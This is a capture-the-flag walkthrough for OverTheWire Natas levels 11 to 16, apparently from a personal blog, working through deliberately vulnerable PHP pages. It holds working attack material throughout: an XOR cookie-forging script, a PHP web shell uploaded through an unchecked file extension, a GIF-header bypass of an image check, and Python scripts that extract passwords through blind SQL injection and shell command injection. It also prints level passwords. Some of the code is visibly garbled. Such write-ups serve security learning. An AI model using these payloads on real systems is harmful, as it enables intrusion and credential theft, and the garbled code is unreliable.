Table of Contents generated with DocToc
A walkthrough for level 11 to level 16 of Natas Overthewire challenges
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}$data);
saveData(?>
data
cookie is set to:
data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D
.#aaaaaa
sets the cookie
data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSFlkrEBZZaAw%3D
.?bgcolor
parameter seems to have no effect
on the cookie value.In order to get the password we have to do two things:
$key
that is
<censored>
in the output above.
$in
and $outText
are known,
$in
is the bgcolor
parameter we set in the
form and $outText
is the data
cookies
value."showpassword"="yes", "bgcolor"=>"#ffffff"
.XOR
is a logical operator (exclusive OR) that returns
True
if one, and only one, of two input values are
True
.The cool thing about XOR is that it is reversible. You just need
to have any two of the three components. For example, it is easy to
calculate the value for Input A
in the table above by
calculating Input B
XOR
Input A XOR Input B
.
We can use a modified form of the xor_encrypt
function in the PHP source code.
$key
needs to be the known default value for
$data
.$in
needs to be the value of the data
cookie.<?php
function xor_encrypt($in) {
$key = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}return $outText;
}
$decoded = xor_encrypt(base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw'));
print($decoded);
?>
$ php -f xor_decrypt.php
qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq%
qw8J
repeating itself.<?php
function xor_encrypt($in) {
// replace <censored> with the actual key
$key = 'qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8J';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}return $outText;
}
// set the showpassword parameter to yes in $data
$data = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
$cookie = base64_encode(xor_encrypt(json_encode($data)));
print($cookie);
?>
data
cookie:$ php -f generate_cookie.php
ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
.
After that the site shows the password for natas12.The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
while(file_exists($path));
} return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
else {
} if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
else{
} echo "There was an error uploading the file, please try again!";
}
}else {
} ?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
<br/>
Choose a JPEG to upload (max 1KB):<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
test.jpeg
, it was uploaded
to upload/lfxgde7wtj.jpg
.move_uploaded_file
function to move the file /etc/natas_webpass/natas13
into
the /upload
folder.
filename
parameter of the post request we sent to the website.
filename
parameter is set as an hidden input field
in the form of the page. That means we can override it with anything we
want.Lets walk through the code to see how it works.
genRandomString
places a hidden form
attribute filename
in the form.Upload File
button. The filename
parameter is
now set to the value generated from genRandomString
.filename
parameter is
present in the post request.
makeRandomPathFromFilename
with the two parameters
upload
and filename
and assigns the return
value to the variable $target_path
.
makeRandomPathFromFilename
extracts the file extension
from filename
and assigns that to $ext
. It
would assign jpg
to $ext
for the filename
2ujt7shd4p.jpg
for example.
makeRandomPathFromFilename
then calls the function
makeRandomPath
with the parameters upload
as
$dir
and jpg
as $ext
.
makeRandomPath
concatenates $dir
, the
output of the genRandomString()
function and
$ext
together and returns it.
genRandomString()
multiple
times with the same input value and the function returned different
return values.uploadedfile
and tmp_name
is smaller than
1000.
$_FILES
array?
$_FILES
is a native PHP variable. According
to http://php.net/manual/en/reserved.variables.files.php it
holds an array of files that were uploaded via HTTP POST method.uploadedfile
is the original filename that was uploaded
as seen in the HTML source code
<input name="uploadedfile" type="file" /><br /
.tmp_name
is still unclear to me. But lets move on, this
is probably another PHP builtin variable.From the code walk through we learn that the file extension is only
initially set in the form as a hidden input parameter and not verified
on any step in the code. That means we can intercept the request to the
server, change the file extension to .php
and upload a
small PHP script to get access.
<?
passthru($_GET['cmd']);
?>
/upload/n1864v1mw5.php
.jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
/etc/natas_webpass/natas13
directly through a modified
filename parameter. Of course that didn’t work and I had to consult
another walkthrough writeup to finally get the not to complicated
solution. Honestly I was not expecting this to be a viable solution for
the natas challenges and had kind of a blind spot.exif_imagetype()
function returns that the
uploaded file is an image.else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
.php
,
proceed with the upload..gif
is: GIF87a
. I
added this signature to the header of the file.GIF89a
<?
passthru($_GET['cmd']);
?>
GIF87a
at the
top of the file was enough to make it work.GIF89a Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
exif_Imagetype()
function on my local Linux machine.<?php
$options = getopt("f:");
$filename = $options["f"];
printf("Filename is: %s\n", $filename);
if (! exif_imagetype($filename)){
printf("File %s is not an image!\n", $filename);
}else {
printf("File %s is an image!\n", $filename);
}?>
$ php check_image.php -f image.php
Filename is: image.php
File image.php is an image!
File is not an image
multiple times.$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
debug
GET parameter to
something to return the exact query. That is what I did and for the
input TEST' OR 1=1 -- SELECT * from users
I got:SELECT * from users where username="TEST' OR 1=1 -- SELECT * from users" and password=""
"
and not
'
."TEST' OR 1=1 -- SELECT * from users
.query: SELECT * from users where username="TEST" OR 1=1 -- SELECT * from users" and password="" Executing
Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
'
OR "
.test
returns This user doesn't exist
.TEST" OR 1=1 -- SELECT * from users
returns:
This user exists.
.<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
else {
} echo "This user doesn't exist.<br>";
}else {
} echo "Error in query.<br>";
}
mysql_close($link);
else {
} ?>
debug
to
see the actual SQL query.True
or False
back.natas16
.natas16
returns
This user exists
.CREATE TABLE users
statement in the
commented-out section of the PHP source code we learn that the password
has a maximum length of 64 characters.natas16" AND password LIKE "%
to submit the form returns
This user exists
.
CHAR_LENGTH()
function.
natas16" AND CHAR_LENGTH(password) > 1 --
works and
returns This user exists
. There needs to be an
extra whitespace at the end!natas16" AND CHAR_LENGTH(password) > 32 --
is
False
, password is shorter than 32 characters.natas16" AND CHAR_LENGTH(password) > 16 --
is
True
, password is longer than 16 characters.natas16" AND CHAR_LENGTH(password) > 16 --
is
True
, password is longer than 16 characters.natas16" AND CHAR_LENGTH(password) >= 24 --
is
True
, password is between 24 and 32 characters.natas16" AND CHAR_LENGTH(password) >= 28 --
is
True
, password is between 28 and 32 characters.natas16" AND CHAR_LENGTH(password) > 30 --
is
True
, password is between 31 and 32 characters.natas16" AND CHAR_LENGTH(password) = 32 --
is
True
, password is 32 characters long.LIKE
query it is possible to crack the
password. The password characters we saw from other Natas levels are:
a-z
, A-Z
and 0-9
.
BINARY LIKE
queryFor this I created the little python script below.
#!/usr/bin/python
import requests
def password_like(password):
"""
Check if the password contains the supplied string.
"""
= "http://natas15.natas.labs.overthewire.org/index.php"
url = 'natas16" AND password LIKE BINARY "' + password + '%'
sql_inject_query
= {'username': sql_inject_query}
payload = requests.post(url,
r =payload,
data=('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'))
authif "This user doesn't exist" in r.text:
return False
else:
print "Password is: " + password
# print "Password length: " + str(len(password))
return True
def main():
"""
main function
"""
="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
possible_chars=""
password
while len(password) < 33:
for c in possible_chars:
if password_like(password+c):
= password + c
password continue
if __name__ == '__main__':
main()
The script returns the output:
Password is: W
Password is: Wa
Password is: WaI
Password is: WaIH
Password is: WaIHE
Password is: WaIHEa
Password is: WaIHEac
Password is: WaIHEacj
Password is: WaIHEacj6
Password is: WaIHEacj63
Password is: WaIHEacj63w
Password is: WaIHEacj63wn
Password is: WaIHEacj63wnN
Password is: WaIHEacj63wnNI
Password is: WaIHEacj63wnNIB
Password is: WaIHEacj63wnNIBR
Password is: WaIHEacj63wnNIBRO
Password is: WaIHEacj63wnNIBROH
Password is: WaIHEacj63wnNIBROHe
Password is: WaIHEacj63wnNIBROHeq
Password is: WaIHEacj63wnNIBROHeqi
Password is: WaIHEacj63wnNIBROHeqi3
Password is: WaIHEacj63wnNIBROHeqi3p
Password is: WaIHEacj63wnNIBROHeqi3p9
Password is: WaIHEacj63wnNIBROHeqi3p9t
Password is: WaIHEacj63wnNIBROHeqi3p9t0
Password is: WaIHEacj63wnNIBROHeqi3p9t0m
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5n
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5nh
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5nhm
Password is: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
So, the password for the next level is:
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
True
or False
like in the example above.The site shows a simple form to lookup words containing a string. The
site filters out certain characters:
For security reasons, we now filter even more on certain characters
.
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
else {
} passthru("grep -i \"$key\" dictionary.txt");
}
}?>
needle
is present in
the request.;
, |
or
&
is present in the input string.
$()
.grep
parameter.With the $()
option as only option left to execute bash
code it is not possible to get the content of the password file
directly. However, it is possible to use contents of the password file
and supply them as argument to grep and this can be used to guess
contents of the password file and get feedback what guesses were
correct.
The basic guessing flow would be like this: * Take a unique word from
the dictionary for example Europeans
. * Grep for this word
and some string that is known from the password and a new character. *
Start with an empty password in the beginning. * Check if the results
page contains the word Europeans
or not. * If yes the guess
was not correct. * If no the guess was correct.
This guessing can be done with the script below:
#!/usr/bin/python
import requests
def password_like(password):
"""
Check if the password contains the supplied string.
"""
= "http://natas16.natas.labs.overthewire.org/index.php"
url = "Europeans$(grep ^%s /etc/natas_webpass/natas17)" % (password)
query = {'needle': query}
payload = requests.post(url,
r =payload,
data=('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh'))
auth
if "Europeans" in r.text:
return False
else:
return True
def main():
"""
main function
"""
="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
possible_chars=""
password
for num in range (0,33):
for char in possible_chars:
if password_like(password + char):
= password + char
password print password
if __name__ == '__main__':
main()
The script produced the output below:
8
8P
8Ps
8Ps3
8Ps3H
8Ps3H0
8Ps3H0G
8Ps3H0GW
8Ps3H0GWb
8Ps3H0GWbn
8Ps3H0GWbn5
8Ps3H0GWbn5r
8Ps3H0GWbn5rd
8Ps3H0GWbn5rd9
8Ps3H0GWbn5rd9S
8Ps3H0GWbn5rd9S7
8Ps3H0GWbn5rd9S7G
8Ps3H0GWbn5rd9S7Gm
8Ps3H0GWbn5rd9S7GmA
8Ps3H0GWbn5rd9S7GmAd
8Ps3H0GWbn5rd9S7GmAdg
8Ps3H0GWbn5rd9S7GmAdgQ
8Ps3H0GWbn5rd9S7GmAdgQN
8Ps3H0GWbn5rd9S7GmAdgQNd
8Ps3H0GWbn5rd9S7GmAdgQNdk
8Ps3H0GWbn5rd9S7GmAdgQNdkh
8Ps3H0GWbn5rd9S7GmAdgQNdkhP
8Ps3H0GWbn5rd9S7GmAdgQNdkhPk
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9c
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Therefore the password for level 17 is
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
.
$()
could be used to execute shellcode.